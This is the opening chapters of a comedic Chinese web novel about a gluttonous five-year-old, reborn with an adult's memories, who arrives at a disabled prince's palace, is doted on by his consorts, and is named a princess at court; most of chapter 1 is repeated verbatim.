《奶团上门后,绝嗣爹爹好运连连》 第1章 被赶下山,老爹竟然是王爷 “徒儿,谷里实在养不起你了,你还是下山找你亲爹去吧!” 不靠谱的美少妇眼见最后一个大白馒头被一只小手抓走,忍无可忍,挥开簸箕,把五岁小团子往桌上一放,就着桌布快速打包,还贴心的系了个蝴蝶结,一脚踹给自家大徒弟。 一套动作行云流水,不带丝毫犹豫。 大徒弟接住白布包裹的团子,一脸茫然:“师傅,这就把小师妹送走么?” “对,现在立刻马上,为师一刻都不想看到她!”美少妇额角青筋跳跳,一边说还一边拍桌。 眼看师傅快要炸毛,大徒弟赶紧开溜。 “等、等一哈!我还没吃饱!”白嫩胖呼的小手从包裹里伸了出来,接着是脑袋。 圆溜溜脑袋上顶着个圆溜溜的包子头,清澈的眼睛可怜兮兮的瞅着自家大师兄:“饿…” 大师兄眼尾一抽:“小师妹,你每顿都要吃十八个馒头,神医谷都快被你吃穷了。” 唐蕊才不信:“胡说,师傅看次病要收千金,还没医保售后,医死人都没医闹,怎么会养不起我。” “…虽然但是,这次我站师傅!” 大师兄态度坚决。 唐蕊嘴巴一瘪,就要哭:“大师兄,以前你说过,会一辈子爱护我,所以爱会消失的对吗?” 大师兄:“…” 你一顿吃得多就算了,让你学医你学毒,最近还迷上了炼蛊。 四季如春鸟语花香的神医谷,被你搞成了热带雨林。 晚上蹲个号不是踩到毒虫就是毒蛇。 再留你几天,神医谷都要被你毁了! 大师兄没得商量,把她小脑瓜往包里一摁,还顺手塞了个奶瓶进去,把蝴蝶结打成了死结。 唐蕊在包袱里蹬腿挣扎,奶瓶被她咬得吱呀作响。 大师兄拎着包袱跃过溪流,包裹里传来呜呜咽咽的控诉:“等我金蚕蛊大成,第一个拿你试蛊!” … 半个月后,一道黑影狗狗祟祟把白布包裹扔在璃王府门口,用力敲了几下门后,身影一闪消失了。 片刻后府门大开,小厮伸出头来,一眼就看到了地上的包裹。 小厮一脸狐疑,拆开包裹。 哀怨的团子脸映入眼底,那小嘴周围还有一圈白色的奶渍。 小厮好奇道:“小姑娘,你怎么一个人在这?” 唐蕊一手抓着奶瓶,一手从怀里摸出一张皱巴巴的信,踮起小脚递给他:“我,来找爹。” 小厮无奈道:“小姑娘,这里是璃王府…” 八成是没你爹了。 等等! 小厮看着唐蕊那张缩小版肉脸,不知想到了什么,倒抽了一口冷气,颤抖的指着她:“你你你…你爹不会是璃王爷吧?” “我布吉岛。”唐蕊晃了晃手里的信,手都软了:“我娘的遗书。” “稍等,小的立刻去通报!”小厮接过信,深吸一口气,突然大吼一声往里跑去:“不得了啦,爷的私生女来啦啊啊啊!” 停留在璃王府枝头的鸟被惊飞。 对月自饮的璃王妃一脚踩空,差点掉进荷花池里。 伤春悲秋的顾侧妃咬到自己舌头,痛得直抽抽。 胡吃海喝的朱庶妃被一块肘子肉噎住,差点噎死。 正睡下的侍妾一李姬,猛的从床上坐起来,诈尸一般。 正练武的侍妾二张姬,惊得一松手,三尺青峰爆射而去,贴着婢女的头皮刺入墙中。 正跟婢女说王妃坏话的侍妾三刘姬,脸色骤变,一把抓住婢女的手,指甲都刺穿了她的皮肤:“你听到了吗?我是不是听错了?” “主子去看看不就知道了?”放手啊,我的胳膊呜呜呜… “走!”刘姬立刻带着婢女往前厅赶去。 她来时,王府里的女人早到了。 再看主位上,一个小团子正坐在那,晃了晃自己空荡荡的奶瓶。 “没得了!”小团子巴巴的看向璃王妃:“母妃,有奶奶吗?” “有,有的!”璃王妃又惊又喜,还有点想哭。 璃王腿脚不好,连带着那方面都有问题。 嫁进来四年了,府里的女人包括她在内,都还是处子之身。 现在,她终于有女儿了! 哪怕这个女儿不是自己的,但她是璃王妃,王爷不管多少孩子,都是她的孩子。 璃王妃赶紧接过奶瓶递给自己的婢女:“快,去给小主子盛奶。” 婢女接过奶瓶赶紧去了。 胖乎乎的朱庶妃扯开璃王妃来到唐蕊面前,变魔术般拿出了一个酱香肘子在她面前晃悠。 唐蕊瞬间流出了哈喇子,酱香肘子往左,她的眼珠也往左,酱香肘子往右,她的眼珠也往右。 朱庶妃笑眯眯道:“我是你朱庶母哦,喊一声庶母,请你吃肘子。” “庶母!”唐蕊很给面子,甜甜的叫了一声,还吸了吸口水。 朱庶妃笑得眼睛都眯成了一条缝,大方的把肘子给她。 唐蕊拿着肘子就开始啃。 师傅也不早说,便宜爹这么有钱的,早知道都不用赶,她自己给自己打包,圆润的滚。 顾侧妃凉凉道:“庶母?若你是庶母,我是什么?” 朱庶妃哈哈:“别在意那些细节嘛,大不了以后你是大庶母,我是二庶母。” 顾侧妃轻哼一声,再看唐蕊时,眼底带着一丝审视:“说她是王爷的孩子,是滴过血验亲了,还是有什么证据?姐姐,冒充皇室血脉可是死罪。” 璃王妃眉头微蹙:“顾侧妃,这孩子与王爷一个模子刻出来的,还用滴血验亲吗?” “这可说不准。”顾侧妃瞥了唐蕊一眼:“这世上长得相似之人多了去了,王爷腿脚不便,根本就没有生育能力,怎么会有个这么大的孩子。” 刘姬早就不满了,见顾侧妃带了头,也赶紧说道:“是啊王妃,总归不是你的孩子,你急什么?这孩子虽然和王爷长得很像,但王爷什么人呀?若是真有孩子流落在外,这么多年来,他怎么会不管不问呢?” 璃王妃:“…” 你们一个个的有病吧? 王爷又不能人道,我们除了偷人,这辈子都不可能有自己的孩子。 现在好不容易有个孩子了,一个个不关爱些,反倒口出恶言,难道你们还想听外人说我们注定是断子绝孙的命吗?“徒儿,谷里实在养不起你了,你还是下山找你亲爹去吧!” 不靠谱的美少妇眼见最后一个大白馒头被一只小手抓走,忍无可忍,挥开簸箕,把五岁小团子往桌上一放,就着桌布快速打包,还贴心的系了个蝴蝶结,一脚踹给自家大徒弟。 一套动作行云流水,不带丝毫犹豫。 大徒弟接住白布包裹的团子,一脸茫然:“师傅,这就把小师妹送走么?” “对,现在立刻马上,为师一刻都不想看到她!”美少妇额角青筋跳跳,一边说还一边拍桌。 眼看师傅快要炸毛,大徒弟赶紧开溜。 “等、等一哈!我还没吃饱!”白嫩胖呼的小手从包裹里伸了出来,接着是脑袋。 圆溜溜脑袋上顶着个圆溜溜的包子头,清澈的眼睛可怜兮兮的瞅着自家大师兄:“饿…” 大师兄眼尾一抽:“小师妹,你每顿都要吃十八个馒头,神医谷都快被你吃穷了。” 唐蕊才不信:“胡说,师傅看次病要收千金,还没医保售后,医死人都没医闹,怎么会养不起我。” “…虽然但是,这次我站师傅!” 大师兄态度坚决。 唐蕊嘴巴一瘪,就要哭:“大师兄,以前你说过,会一辈子爱护我,所以爱会消失的对吗?” 大师兄:“…” 你一顿吃得多就算了,让你学医你学毒,最近还迷上了炼蛊。 四季如春鸟语花香的神医谷,被你搞成了热带雨林。 晚上蹲个号不是踩到毒虫就是毒蛇。 再留你几天,神医谷都要被你毁了! 大师兄没得商量,把她小脑瓜往包里一摁,还顺手塞了个奶瓶进去,把蝴蝶结打成了死结。 唐蕊在包袱里蹬腿挣扎,奶瓶被她咬得吱呀作响。 大师兄拎着包袱跃过溪流,包裹里传来呜呜咽咽的控诉:“等我金蚕蛊大成,第一个拿你试蛊!” … 半个月后,一道黑影狗狗祟祟把白布包裹扔在璃王府门口,用力敲了几下门后,身影一闪消失了。 片刻后府门大开,小厮伸出头来,一眼就看到了地上的包裹。 小厮一脸狐疑,拆开包裹。 哀怨的团子脸映入眼底,那小嘴周围还有一圈白色的奶渍。 小厮好奇道:“小姑娘,你怎么一个人在这?” 唐蕊一手抓着奶瓶,一手从怀里摸出一张皱巴巴的信,踮起小脚递给他:“我,来找爹。” 小厮无奈道:“小姑娘,这里是璃王府…” 八成是没你爹了。 等等! 小厮看着唐蕊那张缩小版肉脸,不知想到了什么,倒抽了一口冷气,颤抖的指着她:“你你你…你爹不会是璃王爷吧?” “我布吉岛。”唐蕊晃了晃手里的信,手都软了:“我娘的遗书。” “稍等,小的立刻去通报!”小厮接过信,深吸一口气,突然大吼一声往里跑去:“不得了啦,爷的私生女来啦啊啊啊!” 停留在璃王府枝头的鸟被惊飞。 对月自饮的璃王妃一脚踩空,差点掉进荷花池里。 伤春悲秋的顾侧妃咬到自己舌头,痛得直抽抽。 胡吃海喝的朱庶妃被一块肘子肉噎住,差点噎死。 正睡下的侍妾一李姬,猛的从床上坐起来,诈尸一般。 正练武的侍妾二张姬,惊得一松手,三尺青峰爆射而去,贴着婢女的头皮刺入墙中。 正跟婢女说王妃坏话的侍妾三刘姬,脸色骤变,一把抓住婢女的手,指甲都刺穿了她的皮肤:“你听到了吗?我是不是听错了?” “主子去看看不就知道了?”放手啊,我的胳膊呜呜呜… “走!”刘姬立刻带着婢女往前厅赶去。 她来时,王府里的女人早到了。 再看主位上,一个小团子正坐在那,晃了晃自己空荡荡的奶瓶。 “没得了!”小团子巴巴的看向璃王妃:“母妃,有奶奶吗?” “有,有的!”璃王妃又惊又喜,还有点想哭。 璃王腿脚不好,连带着那方面都有问题。 嫁进来四年了,府里的女人包括她在内,都还是处子之身。 现在,她终于有女儿了! 哪怕这个女儿不是自己的,但她是璃王妃,王爷不管多少孩子,都是她的孩子。 璃王妃赶紧接过奶瓶递给自己的婢女:“快,去给小主子盛奶。” 婢女接过奶瓶赶紧去了。 胖乎乎的朱庶妃扯开璃王妃来到唐蕊面前,变魔术般拿出了一个酱香肘子在她面前晃悠。 唐蕊瞬间流出了哈喇子,酱香肘子往左,她的眼珠也往左,酱香肘子往右,她的眼珠也往右。 朱庶妃笑眯眯道:“我是你朱庶母哦,喊一声庶母,请你吃肘子。” “庶母!”唐蕊很给面子,甜甜的叫了一声,还吸了吸口水。 朱庶妃笑得眼睛都眯成了一条缝,大方的把肘子给她。 唐蕊拿着肘子就开始啃。 师傅也不早说,便宜爹这么有钱的,早知道都不用赶,她自己给自己打包,圆润的滚。 顾侧妃凉凉道:“庶母?若你是庶母,我是什么?” 朱庶妃哈哈:“别在意那些细节嘛,大不了以后你是大庶母,我是二庶母。” 顾侧妃轻哼一声,再看唐蕊时,眼底带着一丝审视:“说她是王爷的孩子,是滴过血验亲了,还是有什么证据?姐姐,冒充皇室血脉可是死罪。” 璃王妃眉头微蹙:“顾侧妃,这孩子与王爷一个模子刻出来的,还用滴血验亲吗?” “这可说不准。”顾侧妃瞥了唐蕊一眼:“这世上长得相似之人多了去了,王爷腿脚不便,根本就没有生育能力,怎么会有个这么大的孩子。” 刘姬早就不满了,见顾侧妃带了头,也赶紧说道:“是啊王妃,总归不是你的孩子,你急什么?这孩子虽然和王爷长得很像,但王爷什么人呀?若是真有孩子流落在外,这么多年来,他怎么会不管不问呢?” 璃王妃:“…” 你们一个个的有病吧? 王爷又不能人道,我们除了偷人,这辈子都不可能有自己的孩子。 现在好不容易有个孩子了,一个个不关爱些,反倒口出恶言,难道你们还想听外人说我们注定是断子绝孙的命吗? 第2章 希望多来几个认爹的 眼看几个女人快吵起来了,朱庶妃赶紧开口:“哎呀,别吵了,是不是王爷孩子,等王爷来了再说嘛!” 她话音刚落,张姬就看到了璃王的身影:“王爷来了。” “王、王爷!”璃王妃脸色一红,顿时变成了一只煮红了的鹌鹑。 “参见王爷!”几个女人也齐齐朝璃王行礼。 唐蕊抬眸看去,眼睛都瞪圆了。 便宜爹…绝色啊… 明明男生女相,却没办法把他当成女人。 刀削般轮廓分明,黝黑的眸子在烛光下泛着潋滟的光。 乌黑发丝倾泻而下,发尾只用一根红绳系住。 一身黑色锦袍,朵朵金线绘制的祥云忽明忽暗,哪怕坐着轮椅都难掩风华。 以前唐蕊还担心自己长残了,现在看来不用担心了。 “王爷!”刘姬夹着嗓子,想去扯璃王衣袖。 璃王却及时避开,并给了她一个阴冷的眼神。 刘姬顿时不敢造次了,咬着唇退后一步:“王爷,这个小女娃是你的女儿吗?” 司徒澈没有回答她,看向唐蕊,拿出那封皱巴巴的信,凉薄的声音带着森然的寒意:“这是你娘留下的?” 唐蕊大眼睛眨巴眨巴,一脸无辜:“我也不是很清楚哦。” 司徒澈眯起眼眸:“你就没看过这封信?” “我不认识字哦!”唐蕊更无辜了。 她是胎穿的,还在娘亲肚子里的时候,就听到娘亲说,当初贪图便宜爹的美色,给便宜爹下了药才有了她。 再后来,娘亲为了逃脱仇家追杀,才把她扔给师傅。 唐蕊有上一世的记忆,知道被强迫的男人怨气很大。 总之一问三不知就对了! 司徒澈没有说话,只是看着唐蕊的眼神越发阴冷了。 唐蕊撇撇嘴,下一秒就要哭出来似的:“你是我爹吗?是不是我娘搞错乐?” “别哭啊乖乖,你和王爷这么像,怎么会不是王爷的孩子呢?”璃王妃心道刚有了闺女啊,就算不是王爷的种,也必须是王爷的种。 唐蕊吸了吸鼻子,举着油乎乎的猪蹄儿一指司徒澈:“可是爹爹好像不喜欢我。” “你爹只是不习惯,怎么会不喜欢你呢!”璃王妃心疼坏了,抱起小唐蕊,不赞同的看向璃王:“王爷,小郡主长得和您一模一样,怎么可能不是您的孩子呢!” 司徒澈薄唇紧抿,没有说话。 脑子里浮现的是六年前在军营里,那个死女人绑住他的手脚,骑在他身上的画面。 不管他怎么威胁发怒,死女人都无动于衷,见他不配合还给他灌了一整包合欢散。 他没死在战场上,那一天却差点死在床塌上! 朱庶妃急了:“王爷,小郡主说她娘亲死了,孤苦无依,如果你不认她,她要怎么办啊?” “这世上死了娘亲的孩子多了去了,难不成每个没娘的孩子拿封破信来王府,王爷都要认她们做女儿吗?” 刘姬说罢还讨好的看着顾侧妃:“顾姐姐,你说是吧?” 顾侧妃微不可见的笑了笑,没有开口。 朱庶妃说不过,双手叉腰,开始拿身份压人了:“我可是庶妃,你一个侍妾,谁给你的胆子跟我这么说话?” 刘姬脸色一僵,默默躲在顾侧妃身后。 顾侧妃斜睨着朱庶妃:“朱妹妹是要跟我比身份吗?” “哈…” 一个侧妃,身份多高啊? 朱庶妃也往王妃身后一缩,并扯了扯王妃的衣袖:“王妃姐姐,顾侧妃要跟你比身份。” 顾侧妃:“…” “够了!” 璃王头疼扶额:“本王没不认账,她确实是本王的女儿。” 虽然他很不想承认,但信上有唐蕊的出生时辰,时间对得上。 再说了,唐蕊这张脸也是很好的证明。 只是没想到,那死女人真的死了。 璃王承认了! 太好了! 王妃和朱庶妃松了一口气。 顾侧妃不喜不悲,看不出在想什么。 刘姬气得磨牙,小声怂恿顾侧妃:“顾姐姐,你说句话呀!” “…”王爷都承认了,还说什么? 顾侧妃不想理她。 唐蕊放心下来,挣扎着从璃王妃怀里跳了下去,啪嗒啪嗒来到璃王身边,油乎乎的小手按在他衣袖上。 下一刻! 吧唧! 油乎乎的小嘴印在璃王脸上! 璃王浑身僵硬,整个人都懵了! 还不待他反应过来,小包子冲他无齿一笑:“爹爹,我终于找到你啦。” 静! 死一般的静! 别说几个女人,就连侍卫清风和管家都张大了嘴巴! 王爷有洁癖,不让人近身的啊! 完了! 小主子完了! 然而… 璃王回过神后,嫌弃的推开她:“离本王远点!” 众人:“!!” 就这样? “王妃,她就交给你!”扔下这句话,璃王让清风推着他离开。 “是!”璃王妃开心坏了,蹲下身替小包子擦干净嘴巴:“王爷看来很喜欢你呢!” “我也这么觉得,他就是害羞了,才推开我!”唐蕊赞同点头。 还没走远的司徒澈:“…” “走,母妃带你去选住的地方!”初为人母,还是和心爱之人一模一样的小包子,璃王妃母爱爆棚,亲自抱起她来。 顾侧妃捏紧了手帕,薄唇紧抿。 朱庶妃长长的叹息一声:“希望多来几个认爹的,咱们能人手一个女儿。” 刘姬:“…” 不是自己的女儿,算什么女儿啊! … 璃王妃带着唐蕊看了好几个殿宇,最后选择了距离自己最近的翠微阁,还拨了心腹容嬷嬷照顾唐蕊。 唐蕊刚住进去,朱庶妃、张姬和李姬就派人送来了礼物。 头面,布料,珠宝首饰… 唐蕊一夜暴富,笑得合不拢嘴。 让她最惊讶的是,最值钱的礼物居然是李姬送的一套羊脂白玉做的碗碟和筷子。 触手生温,极简无瑕。 容嬷嬷笑道:“王府几个主子里,李姬是最有钱的,她的父亲是皇商,宫里贵人们用的彩窑就是她家的。” “嬷嬷,以后我吃饭可以用这套碗筷吗?”羊脂白玉啊,多有逼格。 容嬷嬷:“这些都是主子的,主子想用自然可以。” “那就用这套啦!”唐蕊决定好自己的饭碗,肚子又响了起来。 第3章 掉进了福窝窝 容嬷嬷笑道:“小主子是不是饿了?要不要老奴让厨房给小主子做点好吃的?” “要哦要哦!”唐蕊猛点头,又报了一大串菜名。 什么炖排骨,卤猪蹄,卤鸡…足足七八个菜。 没办法,这个古代大多都是炖菜,炒菜很少,还不好吃。 容嬷嬷听着这一溜串菜名,眼尾一抽:“小主子,这么多,你吃得完吗?” “我可以哦,以前每顿我都要吃师傅十八个馒头。” “…”十八个? 容嬷嬷默默盯着唐蕊的小肚皮,圆滚滚的… 但她认知里的馒头,每个都比成人拳头还要大一圈啊,这圆滚滚的小肚皮虽然不小,但也装不下十八个馒头吧? “嬷嬷,不阔以么?”唐蕊见她发呆,还以为自己要得太多了。 容嬷嬷一秒回神:“没有没有,主子是主子,想吃什么都可以,老奴这就让人去叫厨房那边做。” “等哈!”唐蕊打开李姬送她的小匣子,里面是一盒子银花生。 唐蕊抓了一把银花生,后知后觉自己的手手太小,于是又抓了一把,全都给容嬷嬷:“厨子们辛苦一天也很累哦,现在还要加班,这些都给他们,就当他们的加班费。” “…”虽然没听过加班费这个词,但容嬷嬷隐隐能明白这个词代表的意思。 小主子,人很不错呢,不过想吃顿饭,还会给奴才们打赏。 “是!”容嬷嬷神色一暖,接过银花生:“老奴代他们多谢小主子赏赐。” 等饭的期间,唐蕊东瞅瞅西瞧瞧,完全闲不住。 翠微阁这院子不错,家具都是八成新的,摆设物件一应俱全。 床上还有个用上好布料缝制的布老虎,书桌上放置着几个可爱的糖人,简直就是为她量身打造。 床也好软! 也不知道师傅怎么样了,她不在,有没有想她! 有点困… “小郡主,用膳了!”容嬷嬷声音一响,唐蕊瞌睡瞬间不翼而飞。 看着满桌子的菜肴,哈喇子狂流。 天大地大,吃饭最大! 唐蕊吃饱喝足已经是半个时辰后的事了,七八个菜被她吃得干干净净,还有几个盘子都舔过。 反观白米饭,一点没动。 容嬷嬷:“…”还是个不吃米饭,只吃菜的主。 吃饱喝醉的唐蕊心满意足,往床上一趟,明明困得不行了,还是软软的跟容嬷嬷说了一声:“嬷嬷,白米饭我明天留着吃…别扔…” “好,小主子睡吧…”嬷嬷想的是隔夜饭怎么能端给小主子吃呢,明天给她做新鲜的。 容嬷嬷还睡不了,叫来下人上热水,亲手给她洗白白。 唐蕊已经进入了梦乡,期间硬是没醒过,还在打呼… 她倒是睡得香,王府里的女人们睡不着了。 王妃、朱庶妃和李姬看得很开,知道这辈子都不可能有属于自己的孩子了。 唐蕊的到来,填补了她们人生当中的空白,也能堵住外面那些说她们注定断子绝孙的声音。 张姬没所谓,她本来就不喜欢璃王,入璃王府做侍妾也不过是为了父亲的遗愿。 更何况,小唐蕊确实挺可爱的,她也很喜欢。 顾侧妃和刘姬就不这么想了。 前者继续对月自饮,心中越发苦闷。 后者回去后发了好大的脾气,把唐蕊祖宗十八代都问候了一遍。 … 翌日。 天刚擦亮,璃王就来了。 唐蕊:“zzzZZZ~~” 璃王皱眉:“起来,随我入宫!” 唐蕊翻了个身,梦到前世去会所点了十八个小男模,吹拉弹唱样样精通。 被美男围绕,花不完钱的到处撒,天上人间呐。 “起来!” 美男们突然看向她,头发变长,十八张脸都变成了便宜爹的死人脸,36双眼睛阴恻恻的瞪着她。 唐蕊被吓醒了,入眼就是便宜爹的死人脸。 “嗷~” 唐蕊吓得抓过枕头砸了过去。 便宜爹轻飘飘的接住枕头,俊脸又黑了几个度:“本王说,起床!” “王爷!”璃王妃赶来,一屁股挤开司徒澈,抱起唐蕊:“你别那么凶啊,吓到蕊蕊了。” 司徒澈张了张嘴,还没来得及开口,朱庶妃的声音也从身后传来:“反正去皇宫还要坐那么久的马车,让下人给蕊蕊梳妆打扮就是了,干嘛非要她起来。” “五岁的娃娃正是长身体的时候,不让她睡好长不高的。”张姬冷漠脸,还摸了摸腰间的软剑,怎么看怎么像威胁。 司徒澈眼尾一抽:“…你们怎么来了?” 璃王妃理直气壮:“我是您的王妃,当然要跟你一起进宫了。” 朱庶妃嘿嘿一笑:“我要减肥,早点起来锻炼。” 张姬冷漠脸:“我有早起打拳的习惯。” 司徒澈:“…” 笑死! 平时进宫,怎么不见你跟我一起。 还有你朱庶妃,以往不到日上三竿绝对不会起床的。 现在倒是勤快了。 “容嬷嬷,快伺候小郡主梳洗啊!”璃王妃说罢,温柔的看着唐蕊:“蕊蕊再睡会儿,到了皇宫母妃再叫你。” “母妃,我已经醒了。” 唐蕊哪里还睡得着。 她也没想到,进个宫而已,跑来这么多阿母送她。 这是掉进了福窝窝吗? 璃王妃全程抱着唐蕊不撒手,亲自给她梳头。 朱庶妃招呼自己的婢女把白玉燕窝端来,一勺一勺喂给她。 张姬见她头上太素,取下自己发间的粉色珠花戴在她头上,微不可见的笑了笑:“小郡主的头饰太少,我回去后再送一些过来。” 璃王妃没有多说什么,只是脸色有些不自然。 王府几个女人之中,她这个璃王妃好像是最穷的,连一件像样的礼物都拿不出来。 得想办法把嫁妆拿回来,不然都没钱给闺女置办首饰。 司徒澈看着忙活的三个女人,整个人都:“…” 唐蕊没来的时候,府里的女人们都围着他转悠。 现在他彻底被晾在一边,无人问津。 清风小声嘀咕:“王爷,你好像失宠了。” 司徒澈闻言冷冷的睨了他一眼,又看向被众人簇拥的小包子。 这孩子,昨天脏兮兮的,今天被几个女人一打扮,就像是观音座下的小女童一般。 梳着两个发包包,大眼睛乌黑明亮,额边两缕碎发落下,衬得她的小脸越发奶白可爱。 啊呸! 才不可爱! 他永远都不会忘记这个女儿是怎么来的。 唐蕊打扮好以后,司徒澈和璃王妃带着她上了马车。 朱庶妃准备了一个大食盒递给璃王妃:“时间不够,这些都是给蕊蕊准备的早膳,让她在马车里吃。” 第4章 皇帝的儿子们 璃王妃点点头,接过食盒。 张姬也不停叮嘱唐蕊:“陌生人给你的东西也不能吃,会拉肚子。” “庶母们,我都记住啦,会乖乖听话哒!”唐蕊笑得可可爱爱,朝她们挥了挥小手。 “都滚!”司徒澈一声呵斥,两个女人齐齐噤声,整齐划一的白了他一眼。 司徒澈黑着脸放下车帘。 王府里面,顾侧妃注视着马车慢慢离开。 “侧妃!”她的贴身婢女走了过来,小声在她耳边道:“刚刚奴婢去厨房拿热水,听到张姬院里的夏芸在跟彩莹说话,提到了什么…蛇,好像是冲着那娃娃去的。” “跟我有什么关系?”顾侧妃收回视线,眼底复杂之色一闪而逝:“各人有各人的命,我也一样。” 婢女没听懂,只知道这事儿自家主子是不会管了。 … 车厢里,唐蕊欢快的享受朱庶妃给她准备的早膳,璃王妃坐在一边给她普及皇宫关系。 简单来说皇帝有七个孩子,老二老三老五老六老九和老十一。 唐蕊的便宜爹璃王排行第七,没受伤的时候是大夏赫赫有名的战神,能文能武,没有哪个皇子能比得过他。 不仅如此,璃王和太子还是一母同胞,都是皇后的崽。 但皇后对两人的态度却截然不同。 太子极尽宠爱,要什么有什么。 璃王就像是别人家的孩子一样,皇后对他非常苛刻。 不仅如此,璃王和太子的关系也很不好,反而和老九亲近。 司徒澈听得烦:“你跟她说这么多做什么?她听得懂吗?” “妾身…”璃王妃也觉得自己话多了些,脸色逐渐涨红。 “我听得懂哦!”唐蕊摇头晃脑接过话来,嘴角还沾着绿豆糕的碎屑:“母妃的意思是,皇后和太子不可信,九叔可信,让我注意一些,别遭了道。” 司徒澈:“…”这真的五岁?有点过于聪明了吧? 不过话又说回来,他五岁的时候好像也挺聪明。 他的娃,自然像他。 “闺女真聪明!”璃王妃稀罕坏了,给她擦掉嘴角的碎屑,抱着她一阵贴贴。 … 皇宫很快到了,璃王妃抱着唐蕊下了车,随司徒澈一起前往主殿。 他们来时,不仅皇帝在这,除了最小的十一皇子,其他皇子也都到了。 太子还破天荒的带着自己的庶女司徒嫱。 每个王府里都有谁谁谁的探子,璃王私生女找上门的事不是秘密。 他们来这里,也不过是为了看看热闹。 但…看到唐蕊那张脸,几个皇子神色各异。 与其说像老七,不如说跟皇后一模一样。 真想知道皇后看到这张缩小版的自己什么表情。 可惜,皇后去金光寺祈福了,目前不在皇宫,这热闹一时半会儿看不成。 睿王轻笑一声:“得,这下都不用滴血验亲了。” “五弟此言差矣!”太子眼底划过一丝不满:“皇室血脉不容混淆,不能就凭借着一张脸就断定此女乃皇室血脉。” “是啊!”老九晋王接过话来,斜睨了司徒嫱一眼:“毕竟太子哥哥的庶女就跟你长得不一样。” 太子危险的眯起眼眸。 司徒嫱皱了皱眉:“九皇叔这话什么意思?是说我不是爹的亲生女儿吗?” 晋王反唇相讥:“这可是你说的。” “你!”司徒嫱气得眼睛发红,扯着太子的衣袖:“父王,你看九叔…” “好了!”皇帝开了口,司徒嫱一秒噤声,不敢再闹,只凶巴巴的瞪了唐蕊一眼。 唐蕊:“…”瞪我干嘛?神经病! 皇帝挥了挥手,早有太监准备好了滴血验亲的器皿。 司徒澈什么都没说,拿起银针刺破手指往清水里滴了一滴血。 轮到唐蕊时,璃王妃本想好好哄哄她。 可这妮子根本就不需要人哄,也踮起jiojio拿着银针扎破了自己的手指。 嘶… 好痛! 唐蕊差点飙眼泪。 这具身体痛神经好像很发达,她不该耍帅! 璃王妃赶紧拿出手绢擦拭着她手上的血迹,心疼得不行。 再看那两滴血,在水中慢慢相融。 太监端着碗给皇帝看了看,又给在场所有主子看了看。 璃王妃看到两滴相融的血,狠狠的松了一口气。 虽然她很确定唐蕊就是王爷的孩子,但没有水落石出之前,她这心都是提着的。 现在好了,她的女儿跑不掉了。 皇帝神色缓和下来:“确实是皇族血脉。” 一直没开口的辰王道:“父皇,既然是七弟的孩子,那就是金枝玉叶,儿臣恳请封她为郡主。” 太子嗤笑一声:“是啊,毕竟七弟这辈子就只有这么一个女儿了,是要封个郡主。” 此言一出,司徒澈脸色冷了下来。 几位皇子面露尴尬。 皇帝不满的看了他一眼。 虽然但是,你这说出来多尴尬啊! 明明是你亲弟弟,怎么就把人往死里踩呢? 就在这时,唐蕊奶声奶气的声音响起:“虽然我爹只有我一个女儿,但我一个顶十个。” 太子轻笑一声,没有开口。 其他人也都笑了起来,但都是善意的笑。 皇帝也难得软了神色:“好好好,你一个顶十个,就…赐封号昭华吧!” 众人闻言脸色骤变! 太子都差点没维持住面部表情。 昭华,光明显耀之意。 历来配得上这个称号的,不是长公主就是太子嫡女。 一个王爷的私生女,凭什么? 司徒嫱早就不爽了,她是庶女,不管再怎么优秀都没资格请封郡主。 但这个小奶娃明明只是个私生女,连她这个庶女都不如,凭什么就能请封郡主? 还是昭华郡主! 她配吗? “皇爷爷!”司徒嫱站了出来,规规矩矩朝皇帝行了个礼,一本正经道:“就算她是七叔的亲生女儿,也配不上这样的封号。” 这次还不待皇帝开口,唐蕊就不干了:“我怎么配不上了?” 司徒嫱冷笑道:“你生母不详,四书五经诗词歌赋一窍不通,皇爷爷封你郡主都是无上恩典,又哪里配得上昭华二字?” 唐蕊叉腰腰:“胡说八道!只要是我爹的女儿,不管生母是谁,那都是我母妃的孩子。至于四书五经,你怎么知道我不会哦?” “…”到底是谁胡说八道啊! 司徒嫱瞄了皇帝一眼,计上心头:“好,生母的问题先不说,你说你会四书五经?敢不敢跟我比一比?” 璃王妃急了,不停给唐蕊使眼色。 第5章 比试 司徒嫱虽然是庶女,但却是太子第一个孩子,从小到大都是按照正经嫡女的规格培养的。 唐蕊从小流落在外,哪里比得了。 司徒澈皱了皱眉:“唐蕊刚回来没多久,比试的事还是…” “七弟!”太子笑眯眯的打断他的话:“不过是小孩子之间的玩闹而已,咱们做大人的就别插嘴了吧!” 唐蕊眼珠子一转:“那…太子叔叔,有赌注吗?” 太子眉梢微扬:“你还要赌注?” “是啊!”唐蕊一眼就相中他的玉佩了:“你的玉佩不错哦,要是我赢了,可以给我吗?” 璃王妃赶紧抱住唐蕊:“蕊蕊,别跟他…” “好啊!”太子很干脆的取下腰间玉佩:“就依了你,这块玉孤拿来当赌注。” “太子叔叔大气!”唐蕊言罢又看向其他几个皇子,灵动的眼珠咕噜噜转:“太子叔叔都给赌注了哦。” 潜台词,你们的赌注呢? 老三辰王微不可见笑了笑,也取下自己的玉佩:“这是本王的赌注,有了这块玉佩,辰王府畅通无阻。” 老五睿王也取下自己的玉佩:“玉佩嘛,谁没有似的。” “玉佩再加一块,本王倒要看看你个小不点有什么本事。”老六襄王取下自己的玉佩往桌上一扔。 “本王今天出门没带玉佩啊!”老九晋王摸出一叠银票:“小昭华,一万两银票行不行?” “行哒行哒!”唐蕊点头如蒜,又看向自家老爹。 司徒澈都无语了:“我还要赌注?” 唐蕊没有吱声,只默默盯着他腰间的玉佩。 “…”你赢了! 司徒澈取下玉佩。 一旁的璃王妃瞪大眼睛。 别人不知道,她是知道的,王爷这块玉佩能调动王府所有侍卫。 就这么给唐蕊了? 唐蕊满意了,又看向皇帝。 接收到她视线的皇帝隔了好久才反应过来,指着自己的鼻子:“朕…也要赌注?” 唐蕊垂下头把玩肉乎乎的小手,小声嘀咕:“其实也不用的,谁让我最爱皇爷爷呢,就不让皇爷爷出血了。” 皇帝:“…”你的表情可不是这么说的。 罢了罢了! 这丫头贼精贼精的,可爱得紧,嘴巴又甜,说爱他呢! 最重要的是,这是老七的崽,他也乐意宠着。 皇帝笑呵呵道:“昭华,你想要什么赌注?” 唐蕊第一时间盯着他龙桌上的玉玺。 皇帝眉心一跳,其他皇子们眼角疯狂抽搐起来。 你丫的吃了龙胆吧? 胆子这么大的? 太子眸色一沉,还不待他说放肆,唐蕊眼珠子往上一滑,又盯着皇帝顶冠上超大号东珠。 好家伙,你踏马上辈子是神兽探宝鼠投胎吧? 不是盯着玉玺就是盯着皇帝的龙冠? 